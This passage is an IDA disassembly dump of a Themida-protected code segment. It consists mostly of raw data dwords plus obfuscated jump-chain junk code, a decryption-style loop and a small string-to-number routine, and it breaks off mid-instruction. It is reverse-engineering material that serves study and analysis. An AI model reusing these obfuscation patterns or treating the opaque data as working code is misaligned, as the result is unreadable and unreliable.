31000000h dd 2216319Dh, 0BD8D5A06h, 62246D6h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 0ECC35343h, 0BCF7B1A3h, 69835F6Bh dd 0FE9h, 4B81F100h, 29093CF6h, 0A0E49E61h, 0E25E7C44h dd 27218589h, 0DAE90622h, 1000000h, 2208C995h, 2F88306h dd 1D850Fh, 81660000h, 8D2507E3h, 2248CEBDh, 159D2306h dd 0F9062204h, 0B4E9h, 61958B00h, 8306220Ah, 850F03F8h dd 6Ch, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 0F3C35646h, 160608Fh, 2222259Dh, 61DDB206h, 6CA2BABBh dd 81666142h, 8D14DFF2h, 224A62BDh, 49CDBA06h, 62E9362Fh dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 0F257C352h, 0DB74BA82h, 95897B02h dd 62225D1h, 0F05F883h, 3085h, 9E900h, 46010000h, 0BC62C0A6h dd 0E978D424h, 86h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 15h, 91C35646h, 0B8605773h, 73E43207h, 138DBD89h dd 0B9610622h, 0CF3FB8Eh, 83DA8B66h, 840F003Fh, 4Ah, 30DABF0Fh dd 51B5290Fh, 0D1062214h, 0ED9D2BC9h, 4706222Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ah, 0A6C35343h, 8EDC67D2h dd 8E9BD37h, 2000000h, 96F13923h, 0E9F70BF7h, 0FFFFFFAFh dd 0F88383B7h, 34850F05h, 66000000h, 59B2D98Ch, 0F04C1F6h dd 1585h, 0D1B70F00h, 0B8h, 0E9D78B00h, 17h, 1535BD01h dd 858B0622h, 6220131h, 0B02ABB66h, 8166E0FFh, 830C1ECBh dd 2201A9BDh, 850F0006h, 13Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 0CBC35646h, 0C21B7A38h, 0E9BA50F5h dd 8965393Bh, 890F2404h, 0 dd 330985C6h, 6A450622h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 3F0EC353h, 4E8F558h dd 69000000h, 8B8E7269h, 820F50D0h, 0Ah, 310F5250h, 5E22BA66h dd 448B585Ah, 8E90424h, 14000000h, 680EA5B4h, 8BC43AF8h dd 6E900h, 0ADCF0000h, 0EB309D2Ah, 4244489h, 15860Fh, 0DE80000h dd 63000000h, 370EFAB4h, 54C5163Dh, 8E257A9h, 585B5B50h dd 0C99D8960h, 6106222Ah, 0B5FFD38Bh, 62233A9h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 93C35646h, 0F1858DF9h dd 3106223Ah, 221D69B5h, 8BD0FF06h, 2209DD95h, 12E806h dd 8F590000h, 48635C1Ch, 9017CF4Bh, 10F687D8h, 6F1D5A7Eh dd 5AD8BF0Fh, 1A98589h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 992951C3h, 1C7F03F4h dd 0E5858958h, 83062204h, 2250A5BDh, 840F0006h, 3Ah, 2850F52h dd 60000000h, 0B5FF5A61h, 6220815h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 9AC35141h, 3F16970Eh, 0FF748110h dd 2201A995h, 0F883F506h, 0EC850F00h, 0E9000000h, 13h dd 41309F6h, 35FF5BAEh, 0AD19828Bh, 0C37E2B44h, 83351AD7h dd 220251BDh, 840F0006h, 4Fh, 251B5FFh, 860F0622h, 0Ch dd 68F0Fh, 870F0000h, 0 dd 0B8D98B66h, 1, 1801B589h, 8FE90622h, 6A000002h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h dd 51ADC352h, 0F9BD893Ch, 0FF062219h, 220815B5h, 0C3816606h dd 0B5FF15E3h, 6220815h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 5CC35040h, 0AE936h, 1AC20000h, 0C9873132h dd 0A821F2A4h, 1A9B5FFh, 6A0622h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 170424h, 56460000h, 0E72521C3h, 3D9D3156h dd 0E9062200h, 1FEh, 0D0B70F60h, 1E258D8Bh, 5F610622h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 46C35242h dd 39688575h, 24D8D89h, 0BD830622h, 62206B9h, 0E850F00h dd 6A000001h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0F1ECC357h, 874D173h, 0E966F78Bh dd 7, 6B628975h, 0C66A5C55h, 22330985h, 6A4D06h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 3D33A4C3h, 8166D73Ah, 0E8B3B7DAh, 4, 0A43576A8h, 50D38B66h dd 860F5250h, 2, 310F77B3h, 66616060h, 5A61C88Bh, 24448B58h dd 0DE804h, 0F16F0000h, 0F58A484Ch, 7380EEE2h, 0E84ADE36h dd 11h, 0B80A329Dh, 2C7A4B55h, 2A5EB497h, 8A25F2E0h, 906ABAA0h dd 5A5A04C5h, 40BA008Bh, 891AF9F0h, 50042444h, 9BB6652h dd 66310FF5h, 5A18C6BAh, 8D895858h, 6220489h, 0FC9B5FFh dd 8E90622h, 57000000h, 1F5EE37Ch, 8D2E53E4h, 223AF185h dd 79850906h, 0FF062230h, 6840FD0h, 89000000h, 2202AD8Dh dd 8D9D0906h, 89062232h, 2206B985h, 54BB6606h, 0B822h dd 0BF0F0000h, 4EBD89D1h, 6A062250h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D75BC357h dd 34488642h, 0F57BE3Eh, 0C00BDABFh, 2F840Fh, 8E0F0000h dd 6, 2089C381h, 63E91945h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 16042444h, 43000000h, 654C353h dd 0A9B5FFB4h, 60062201h, 669CC580h, 61B78DBFh, 0B23F858Dh dd 6A0624h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h dd 57470000h, 1850CFC3h, 0F63F8CFDh, 0D98B08F8h, 24048950h dd 32E99D8Bh, 56500622h, 58C6BD8Dh, 8D8D0622h, 6227E5Bh dd 8323BCB8h, 30CF2B74h, 47C8D007h, 5EF87549h, 51BD8358h dd 62202h, 8D8B0674h, 6221C79h, 0B8C933h, 0B000000h, 0A8840FC0h dd 83000000h, 223555BDh, 6740006h, 7B595FFh, 0B80622h dd 0B000000h, 830975C0h, 225056BDh, 9740106h, 5056BD83h dd 75020622h, 4EB58B0Eh, 8D062250h, 24B23F85h, 83D0FF06h dd 222599BDh, 6740006h, 4195FFh, 858D0622h, 62244B4h, 0BD83D0FFh dd 62215C5h, 8B2F7502h, 220265A5h, 51858B06h, 89062202h dd 85C72404h, 6220619h, 1, 5052B58Bh, 0AD8B0622h, 6223171h dd 1B8h, 0CC200h, 85C700EBh, 6220619h, 1, 265A58Bh, 0B58B0622h dd 6222975h, 3171AD8Bh, 0C0330622h, 83000CC2h, 222599BDh dd 0F740006h, 41BD83h, 74000622h, 4195FF06h, 8B062200h dd 22504EB5h, 0D78BC306h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Ah, 96C35040h, 9AB1FC0Ch, 0BA72FEh, 8B000000h dd 2228399Dh db 6 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_5027CD ; --------------------------------------------------------------------------- loc_5027CB: ; CODE XREF: Themida_:005027D0j inc eax inc edi loc_5027CD: ; CODE XREF: Themida_:005027C9j cmp byte ptr [edi], 0 jnz short loc_5027CB xor ecx, ecx mov edi, [ebp+8] jmp short loc_5027FC ; --------------------------------------------------------------------------- loc_5027D9: ; CODE XREF: Themida_:005027FEj xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_5027F1 ; --------------------------------------------------------------------------- loc_5027EE: ; CODE XREF: Themida_:005027F4j mul ebx dec esi loc_5027F1: ; CODE XREF: Themida_:005027ECj cmp esi, 0 ja short loc_5027EE pop ebx add ecx, eax pop eax inc edi dec eax loc_5027FC: ; CODE XREF: Themida_:005027D7j or eax, eax jnz short loc_5027D9 mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dw 6Ah dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 5E4BA9C3h, 9E40D37h, 6860Fh, 9D8B0000h, 6220F3Dh, 9531D88Ah dd 6221631h, 0FEE9C18Bh, 28000227h, 3F025600h, 54025600h dd 6C0057B7h, 0E80012FFh, 5400579Bh, 57B7h, 2000000h, 2000002h dd 1000000h, 2000000h, 44000000h, 0FA2DA8h, 4 dup(0) dd 0EB000000h, 0D100506Dh, 0EC0050EBh, 20050D9h, 0B0005086h dd 0EC0050AFh, 0DC005092h, 2A005070h, 0BA005040h, 45005078h dd 7B0050F3h, 64005074h, 77005045h, 0FE0050B7h, 5A005045h dd 0D2005054h, 1900504Ch, 0D00503Eh, 14005076h, 0BF005080h dd 3F00507Ah, 0D0005068h, 6005077h, 0D90050D2h, 0B700509Ah dd 710050EFh, 1300507Bh, 0EB005091h, 75005046h, 0AF005043h dd 7D0050A5h, 860050B1h, 6A005075h, 690050EDh, 5E0050C5h dd 0AD005034h, 5E0050E5h, 0D0050CCh, 0C40050D1h, 0B3005090h dd 27005030h, 0DF00504Bh, 7C0050C0h, 650050A5h, 2F00507Eh dd 7A005073h, 71005099h, 0AB0050EDh, 0CE0050C8h, 89005083h dd 0F80050C0h, 0C8005054h, 1C005089h, 3F00505Fh, 0B900503Ch dd 0FD00502Fh, 0B900507Bh, 0AD0050EAh, 0FA0050B9h, 0EF005087h dd 0A3005095h, 6005087h, 24005055h, 9005090h, 0E70050E7h dd 93005055h, 750050B0h, 8200503Fh, 0CB0050A0h, 0C00507Bh dd 0EF0050D8h, 0D8005035h, 430050CBh, 570050BBh, 77005069h dd 0ED00509Fh, 6400506Ah, 0A70050F1h, 19005070h, 8400508Dh dd 0D60050AFh, 80050F3h, 72005087h, 2F005089h, 570050B5h dd 0A10050CBh, 900050D5h, 90005041h, 0CC00507Bh, 0C3005030h dd 0C00050DBh, 810050E3h, 0F90050E6h, 9F005089h, 0C6005081h dd 83005077h, 0E2005054h, 6200503Dh, 9600508Ah, 91005056h dd 0FD005093h, 1C0050D5h, 240050C0h, 3A005069h, 430050A8h dd 3F005097h, 5E0050C5h, 93005042h, 83005060h, 0CB0050B7h dd 0CC00509Ch, 0A8005031h, 0B7005075h, 0BC0050EDh, 6100504Ch dd 730050DCh, 0B80050CCh, 300050DDh, 0C80050EFh, 0DB0050C5h dd 2800503Fh, 0E700506Ch, 470050ADh, 5A005035h, 0F70050CFh dd 0E600505Ah, 0C4005045h, 710050D2h, 0F10050BDh, 7E0050DBh dd 38005031h, 62005077h, 0FE005040h, 60005047h, 0D700502Fh dd 0A50050B3h, 600050E2h, 0A40050C1h, 0B5005089h, 8100502Dh dd 21005052h, 0FF0050B5h, 4A005039h, 850050F0h, 64005060h dd 550050DDh, 0C30050A2h, 7C005092h, 0AA005037h, 0B00050B3h dd 0B300505Eh, 0D90050D4h, 510050D1h, 77005083h, 460050F0h dd 600050CDh, 9E0050E9h, 55005062h, 530050B2h, 28005099h dd 0F3005078h, 0D40050B0h, 0F30050E5h, 0B600507Dh, 0B50050ACh dd 900508Dh, 23005059h db 59h, 50h, 0 ; --------------------------------------------------------------------------- loc_502B27: ; CODE XREF: Themida_:005320ECj ; Themida_:00534EC1j ... pusha pushf cld call $+5 pop edi sub edi, 62282EBh mov eax, edi add edi, 6228003h cmp eax, [edi+2Ch] jnz short loc_502B45 jmp short loc_502B58 ; --------------------------------------------------------------------------- loc_502B45: ; CODE XREF: Themida_:00502B41j mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_502B54 ; --------------------------------------------------------------------------- loc_502B4F: ; CODE XREF: Themida_:00502B56j add [edi+ecx*4+40h], eax dec ecx loc_502B54: ; CODE XREF: Themida_:00502B4Dj or ecx, ecx jnz short loc_502B4F loc_502B58: ; CODE XREF: Themida_:00502B43j mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_502B65: ; CODE XREF: Themida_:00502B6Cj xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_502B65 loc_502B6E: ; CODE XREF: Themida_:00503995j ; Themida_:loc_504014j ... lodsb xor al, bl jmp loc_5077B1 ; --------------------------------------------------------------------------- aBi@zS db 'ë@zÏ$éÝ$',0 dd 0E9F20100h, 8AB5h, 68241C89h, 1EA274A8h, 8FEB815Bh dd 68220D73h, 5BC4h, 0B9240C89h, 25404BA6h, 0D40FE981h dd 0CB31B4E1h, 0B490E959h, 0BF570000h, 7B6D5CA9h, 3A21E781h dd 4E90DBCh db 1Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_502BC3: ; CODE XREF: Themida_:00507060j pop esp xor ecx, 442A3576h pop ebx push ecx jmp loc_509AFD ; --------------------------------------------------------------------------- aPtsj db 'PT馶',0 align 4 aQAQsK db 'Qµ',0Bh,'€ÅQé+k',0 dw 5E00h dd 4C581h, 2C870000h, 24248B24h, 20B5E9h db 0 ; --------------------------------------------------------------------------- loc_502BF5: ; CODE XREF: Themida_:0050920Bj add eax, 737702Dh pop ebx xor dword ptr [eax], 6CBF4B53h pop eax jmp loc_50AE10 ; --------------------------------------------------------------------------- db 81h dd 2C4h, 18686600h, 1C896668h, 0A842E924h, 8B5D0000h, 0C4832404h dd 0B9515704h, 2B3D227Dh, 11C6E981h, 0F7414E64h, 60E181D1h dd 81663851h, 4731E3F1h, 59CF8964h, 8305EFC1h, 0CF81FFEFh dd 71F44BDBh, 63DDE9h, 4C68100h, 0E9000000h, 6C6Fh, 5C24048Fh db 57h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_50DACC ; --------------------------------------------------------------------------- db 5Bh, 50h, 0B8h dd 40D60998h, 8958C329h, 241C8BDEh, 104C483h, 0FF555EF5h dd 5D042474h, 5C24048Fh, 68C8B60Fh, 378Ah, 0E9240C89h dd 0FFFFFED6h, 0B050C300h, 0E9C0FE2Eh, 5C1Ch, 12796855h dd 2C8B2E19h, 4C48324h, 0AB8FE9h db 0 ; --------------------------------------------------------------------------- loc_502CB5: ; CODE XREF: Themida_:0050567Dj shl eax, cl jmp loc_5068CD ; --------------------------------------------------------------------------- dd 0B6520CB1h, 8BF1284Fh, 0F0E92414h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_502CCB: ; CODE XREF: Themida_:005053C7j push ecx mov ecx, 6F4D2644h add ebx, ecx mov ecx, [esp] jmp loc_509337 ; --------------------------------------------------------------------------- loc_502CDB: ; CODE XREF: Themida_:0050444Fj push eax push edx mov eax, [esp] jmp loc_507F86 ; --------------------------------------------------------------------------- db 57h, 2 dup(0BFh) dd 294C3E7Ch, 5F04247Ch, 5324048Bh, 70E95B54h, 5500006Fh dd 81E18951h, 4C1h, 4E98100h, 51000000h, 42474FFh, 30F2E9h dd 0B3536600h, 66DC284Fh, 8BF4805Bh, 48BE788h, 4C48124h dd 4000000h, 2CF8007Ah, 0B95DE97Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_502D36: ; CODE XREF: Themida_:0050DA95j add esi, 1 push 2DA7h mov [esp], edx push 3DC2h jmp loc_507007 ; --------------------------------------------------------------------------- dw 0C5FEh dd 8066E580h, 0B45011EDh, 0C0C4FEFDh, 0E48008E4h, 0A2F48078h dd 0E9D5EC80h, 6AACh ; --------------------------------------------------------------------------- loc_502D6C: ; CODE XREF: Themida_:0050424Ej neg edx add edx, 75F5A753h add ebp, edx jmp loc_50C4D6 ; --------------------------------------------------------------------------- db 0BAh dd 18852AF1h, 9F40F4BBh, 5AD301FDh, 85E7E9h, 0EC835500h dd 8059E904h, 0C8B0000h, 0E1895124h, 4C181h, 0B8500000h dd 4, 3CD7BF57h, 574F274Ch, 8998E9h, 3C77FF00h, 5524048Bh dd 242C8B54h, 27D2E9h, 0C8EA8000h, 0D05AD700h, 331E9EFh dd 248B0000h, 240C8924h, 1B9h, 9DD1E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_502DE2: ; CODE XREF: Themida_:00509813j add esp, 4 jmp loc_5093C8 ; --------------------------------------------------------------------------- loc_502DED: ; CODE XREF: Themida_:0050D1BEj add edi, 7BB13260h pop esi sub esp, 4 mov [esp], ebx mov ebx, 0FF0F303Ch jmp loc_50F2C1 ; --------------------------------------------------------------------------- dd 0B86D7905h, 6EEDE95Ch, 58660000h, 8A28E9h, 3FB20500h dd 0E80117CAh, 4EC81h, 4E90000h, 8B00001Ch, 0C481241Ch dd 4, 15A7E952h, 815E0000h, 4C5h, 242C3300h, 33242C31h dd 835C242Ch, 5EE904ECh, 8B0000B4h, 0C481240Ch, 4, 8704C783h dd 2C5C243Ch, 0E9D80047h, 0B824h ; --------------------------------------------------------------------------- loc_502E68: ; CODE XREF: Themida_:0050C243j add esp, 4 push esi mov esi, 3F2A7B6Fh add ebp, esi pop esi add ebp, ecx sub ebp, 3F2A7B6Fh mov ecx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_50F18C ; --------------------------------------------------------------------------- db 81h dd 4C6h, 4EE8300h, 0B661E9h, 0E9E98900h, 0E10h ; --------------------------------------------------------------------------- loc_502EA8: ; CODE XREF: Themida_:0050C187j push 3A4Fh mov [esp], esp push ebx mov ebx, 4 add [esp+4], ebx pop ebx mov ebx, [esp] jmp loc_50CFAC ; --------------------------------------------------------------------------- db 83h dd 58E904ECh db 47h, 2 dup(0) ; --------------------------------------------------------------------------- loc_502ECB: ; CODE XREF: Themida_:00509340j add esi, 4 jmp loc_50AD77 ; --------------------------------------------------------------------------- dw 0EE81h dd 2C590C17h, 0C681C601h, 2C590C17h, 582434FFh, 97EAE9h dd 92B85000h, 1FE4010h, 0CA8958C1h, 0E9D30159h, 8BE7h dd 0CAB9514Bh, 1932520h, 0BBBBE9CBh, 0E9580000h, 0FFFFFF13h dd 74314B9h, 49D1F751h, 0F181D1F7h, 17967BBBh, 0AE9C889h dd 80000060h, 0C38087F3h, 5BDD28AFh, 36E9EA20h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_502F3B: ; CODE XREF: Themida_:00503AEAj sub esp, 4 jmp loc_50D7ED ; --------------------------------------------------------------------------- dw 0C389h dd 5BDE0158h, 2B54E951h, 0FF510000h, 59042474h, 0E924048Fh dd 0B0F6h, 24048B66h, 2015E9h db 0 ; --------------------------------------------------------------------------- loc_502F69: ; CODE XREF: Themida_:00506F58j mov ecx, [esp] add esp, 4 sub esp, 4 mov [esp], esi jmp loc_503253 ; --------------------------------------------------------------------------- loc_502F80: ; CODE XREF: Themida_:0050994Ej mov edi, 2574968h add edx, edi mov edi, [esp] add esp, 4 sub edx, esi sub edx, 2574968h pop esi jmp loc_50E102 ; --------------------------------------------------------------------------- a3Slg db '3<$él£',0 align 2 dw 0E889h dd 0E9D8015Dh, 167Bh, 9C240429h, 0FFFBB5E9h, 48B66FFh dd 6D7E6824h, 2C890000h, 2C8B5424h, 0E7895724h, 4C781h dd 0C7830000h, 243C3304h, 33243C31h, 38E9243Ch, 0C100007Ch dd 4FE907E9h, 0BA0000A9h, 28D34152h, 5F4BE9h, 74BB5300h dd 0F761C215h, 9AD7E9D3h, 88BD0000h, 81323677h, 9C2DA8C5h dd 9435E97Ah, 0A32D0000h, 29033509h, 9A305D0h, 815A0335h dd 6D1FEEh, 83C62958h, 0C1E904ECh, 89000017h, 4BA2414h dd 56000000h, 0E62852BEh, 5EF7012Ch, 0EF81D701h, 2CE62852h dd 4EC815Ah, 89000000h, 96BA2414h, 0E942A622h, 3135h, 80C9FE58h dd 0C9FECCC1h, 46176866h, 24148966h, 88B1B450h, 1BE958E2h dd 0C1000013h, 0BB5304E1h, 4A5D2DB0h, 679FF381h, 0E94B0910h dd 9AA0h ; --------------------------------------------------------------------------- loc_50308C: ; CODE XREF: Themida_:0050A279j pop eax push edi mov edi, 4 add eax, edi mov edi, [esp] add esp, 4 push esi mov esi, 4 add eax, esi pop esi xchg eax, [esp] pop esp xor eax, edi xor edi, eax xor eax, edi jmp loc_5040FF ; --------------------------------------------------------------------------- db 66h dd 57240C8Bh, 0C7815F54h, 4, 0A603E9h, 0E9592C00h, 7594h dd 0F2E951ADh, 5A0000BFh, 0C094E9h, 0E9D6F700h, 0C0C9h ; --------------------------------------------------------------------------- loc_5030E0: ; CODE XREF: Themida_:00509293j push edi mov edi, 20000h mov ebp, edi push dword ptr [esp] pop edi push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_50410B ; --------------------------------------------------------------------------- db 80h dd 0C78006EFh, 5BFC88D4h, 0FE04E4C0h, 0CAF480CCh, 2C4E9h dd 24148900h, 3A48C7BAh, 53505106h, 0B4C4E9h, 18E95500h dd 5100005Dh, 0E8006EB5h, 9DB0E9h, 0F665C00h, 9C2404ABh dd 41F0E9h, 0B7054000h, 1677347h, 0EB8158C3h, 634954E8h dd 0BA52C301h, 634954E8h, 0E95AD301h, 0CE1h, 0CAE97D04h db 0A2h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50316B: ; CODE XREF: Themida_:0050A1BFj sub esp, 4 mov [esp], eax push 1EA65737h mov eax, [esp] jmp loc_5089BA ; --------------------------------------------------------------------------- dw 34FFh aXhj1 db '$XhJ1',0 dw 8900h dd 0E0892404h, 4BD55h, 0E8010000h, 0E089505Dh, 405h, 42D00h dd 4870000h, 1C895C24h, 4BB24h, 7E90000h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5031B3: ; CODE XREF: Themida_:00508FD7j mov ecx, edi pop edi pop ebx add ebx, ecx pop ecx xchg ebx, [esp] mov esp, [esp] jmp loc_50522C ; --------------------------------------------------------------------------- db 4, 0D6h, 0E9h dd 7EB3h, 9D1C77FFh, 4105866h, 93E99C24h, 2DFFFFF9h, 36466C56h dd 5605D029h, 5A36466Ch, 0C73F5205h, 0EC81555Ch, 4, 8EF7E9h dd 8E9C100h, 3F016841h, 0F6E90000h db 0BFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_503207: ; CODE XREF: Themida_:005089F4j sub ecx, 4 xor ecx, [esp] xor [esp], ecx jmp loc_50C96B ; --------------------------------------------------------------------------- db 0C0h, 0E9h, 2 dd 8035F180h, 0C1808FC1h, 1CD268E4h, 8CE90000h, 5000007Bh dd 983207B8h, 7F10252Dh, 0E8E91283h, 490000A4h, 0C26DC181h dd 69E98147h, 5000006h, 19AC29CFh, 0DAE9C389h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_503253: ; CODE XREF: Themida_:00502F7Bj sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_5049A4 ; --------------------------------------------------------------------------- aUiSnm db 'U‰ÍéNm',0 align 2 dw 248Bh dd 48B6624h, 4EC8324h, 81241C89h, 4ECh, 48F5400h, 24048324h dd 0BE565B04h, 4, 42B9EB81h, 0F30177F4h, 42B9C381h, 685E77F4h dd 4A31h, 0B9240C89h, 2, 7573C381h, 0CB0159BCh, 7573EB81h dd 335959BCh, 99E9241Ch, 8100008Dh, 4C4h, 8BCB3100h, 8952240Ch dd 4C281E2h, 83000000h, 148704C2h, 9FE95C24h db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5032E3: ; CODE XREF: Themida_:00507433j xor esi, ecx xchg eax, esi sub esp, 4 mov [esp], ecx push ecx mov ecx, esp push eax mov eax, 4 add ecx, eax pop eax push eax mov eax, 4 jmp loc_50B4A0 ; --------------------------------------------------------------------------- dw 5A66h dd 1CE9E728h, 8900003Dh, 0D18951F2h, 5A59CB89h, 0E3C1435Eh dd 0FBDEE903h, 0C331FFFFh, 0E9008F66h, 0FFFFF842h, 0FFF83DE9h db 0FFh ; --------------------------------------------------------------------------- loc_503331: ; CODE XREF: Themida_:0050C057j xor eax, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 add esp, 4 jmp loc_50BB22 ; --------------------------------------------------------------------------- db 0BBh dd 4, 4FCFC681h, 0C6815EF1h, 5A017F90h, 0EE81DE01h, 5A017F90h dd 2706E953h, 0C8B0000h, 4C48324h, 59EF68h, 24348900h dd 6575B951h, 35680539h, 89000058h, 1E68240Ch, 596CB13Bh dd 0FA6E981h, 0F181355Eh, 2D3813ADh, 5203E9C1h, 539EE9h dd 6CD8100h, 0E96B2C1Ch, 0BB4Fh, 46E9CB29h, 8B000022h dd 0C481242Ch, 4, 2A9B68h, 24048900h, 256366B8h, 4EC8159h dd 89000000h, 62B9240Ch, 29592563h, 0C50159C8h, 516DE9h dd 0E9E78800h, 9C8Ch ; --------------------------------------------------------------------------- loc_5033E4: ; CODE XREF: Themida_:005047E1j add esp, 4 push edx mov edx, 4 add ecx, edx pop edx push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx mov ebx, 4 add ecx, ebx pop ebx xchg ecx, [esp] pop esp push eax mov eax, 165D52CAh sub esp, 4 mov [esp], edx mov edx, 3FCA7E9Ch push edi mov edi, 2AFE1A2Fh shl edi, 6 shl edi, 2 add edi, 1DE310AFh add eax, edi pop edi sub eax, edx jmp loc_50E792 ; --------------------------------------------------------------------------- aSa db '\éí±',0 align 4 dd 81E78957h, 4C7h, 65746800h, 0C890000h, 350BE924h, 77FF0000h dd 59669D1Ch, 9C241CD2h, 0FFF701E9h, 2BEFFh, 0F1010000h dd 240C875Eh, 6624248Bh, 50240C8Bh, 0A919E9h, 3C9BBF00h dd 0CF812BC5h, 9525DB5h, 8104E7C1h, 342AC2C7h, 0E9FD2152h dd 6FF4h, 0E9240C89h, 88D8h, 17B1B951h, 0C181445Ah, 0FFFFFFFFh dd 0C981D1F7h, 20E9619Bh, 1A17E956h, 0F2010000h, 2CF7EA81h dd 348B6A73h, 4C48324h, 5C241487h, 92ECE9h, 24248B00h dd 0E9240431h, 0FFFFF68Ah, 7A516857h, 0E95F671Bh, 0AD77h dd 31243433h, 34332434h db 24h, 5Ch ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_50B1C0 ; --------------------------------------------------------------------------- aPsV db 'PéØv',0 align 4 dd 348BF031h, 4C48324h, 4802E8C1h, 0CD5ABA52h, 0E7E9D98Fh dd 89FFFFFAh, 0D1BF243Ch, 29510C7Eh, 7C35E9FEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_50353A: ; CODE XREF: Themida_:0050D2BFj or al, 0F6h neg al inc al dec al jmp loc_50DE57 ; --------------------------------------------------------------------------- db 66h dd 5124048Bh, 4AEBE9h, 24248B00h, 0C8B60F66h, 40636866h dd 240C8966h, 0FFF609E9h, 241C31FFh, 8B241C33h, 0BF052424h dd 0E94C3E7Ch, 759Bh, 14F75159h, 0FCE95924h db 4Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_503583: ; CODE XREF: Themida_:0050AC16j and ecx, 31767DB8h and ecx, 3EC725ADh jmp loc_50B9C5 ; --------------------------------------------------------------------------- dd 56BA525Dh, 560EAB05h, 85019CBEh, 2FAEE97Eh, 0EC810000h dd 4, 54243C89h, 0E9243C8Bh, 4628h, 582434FFh, 6CF868h dd 242C8900h, 0B034E9h, 54BEB800h, 0D0E9065Bh db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5035D3: ; CODE XREF: Themida_:005060F4j mov dl, bl mov ch, dl mov edx, [esp] push ebx mov ebx, esp add ebx, 4 jmp loc_509165 ; --------------------------------------------------------------------------- aISu db 'ˆêéã=',0 dw 6600h dd 68240C8Bh, 66E6h, 68240C89h, 6894h, 0BD87E954h, 88530000h dd 0FD8851C7h, 0E959EA88h, 0A5A5h ; --------------------------------------------------------------------------- loc_503614: ; CODE XREF: Themida_:00507539j pop esi add eax, ebp jmp loc_508750 ; --------------------------------------------------------------------------- dd 0E1895159h, 4C181h, 0C1830000h, 240C8704h, 4C1815Ch dd 81000000h, 4C1h, 240C3300h, 33240C31h, 248B240Ch, 0FF6EE924h dd 3C87FFFFh, 0EDE95C24h, 30000038h, 0D0285BFAh, 4D8005Ah dd 0E9562C12h, 0FFFFFB61h, 8820B252h, 51665AD7h, 0E800EAB5h dd 240C8B66h, 0AA1FE9h, 4C28100h, 83000000h, 0C6E904EAh dd 59000037h, 8105EAC1h, 4ECh, 24348900h, 33A1B850h, 97E96FC2h dd 5000018h, 4, 22Dh, 24048700h, 2037E9h, 0A4C28100h, 8121D805h dd 6C7E5AF2h, 62D505B0h, 0D029573Ch, 3C62D52Dh, 0D8015A57h dd 6118E9h, 4C28100h, 81000000h, 4EAh, 0ADBAE900h, 0D62C0000h dd 80DEB353h, 0E3C0F3EBh, 0B6E38004h, 0C380DBF6h, 4C00E9DAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5036FA: ; CODE XREF: Themida_:00506209j mov esi, 4 sub edx, esi jmp loc_50B24F ; --------------------------------------------------------------------------- dw 0BE66h dd 29663127h, 585E66F3h, 0CAEB8166h, 0C301667Bh, 0BE665666h dd 1667BCAh, 815E66F3h, 4ECh, 24348900h, 0AD8DE9h, 51D80000h dd 0A7B25266h, 8B66D588h, 0DE92414h, 5B00006Ah, 335DE901h dd 0C31240Ch, 240C3324h, 6624248Bh, 5024148Bh, 81E28952h dd 4C2h, 4EA8100h, 0E9000000h, 0F25h ; --------------------------------------------------------------------------- loc_50376C: ; CODE XREF: Themida_:00506630j xor ebp, ecx mov ecx, 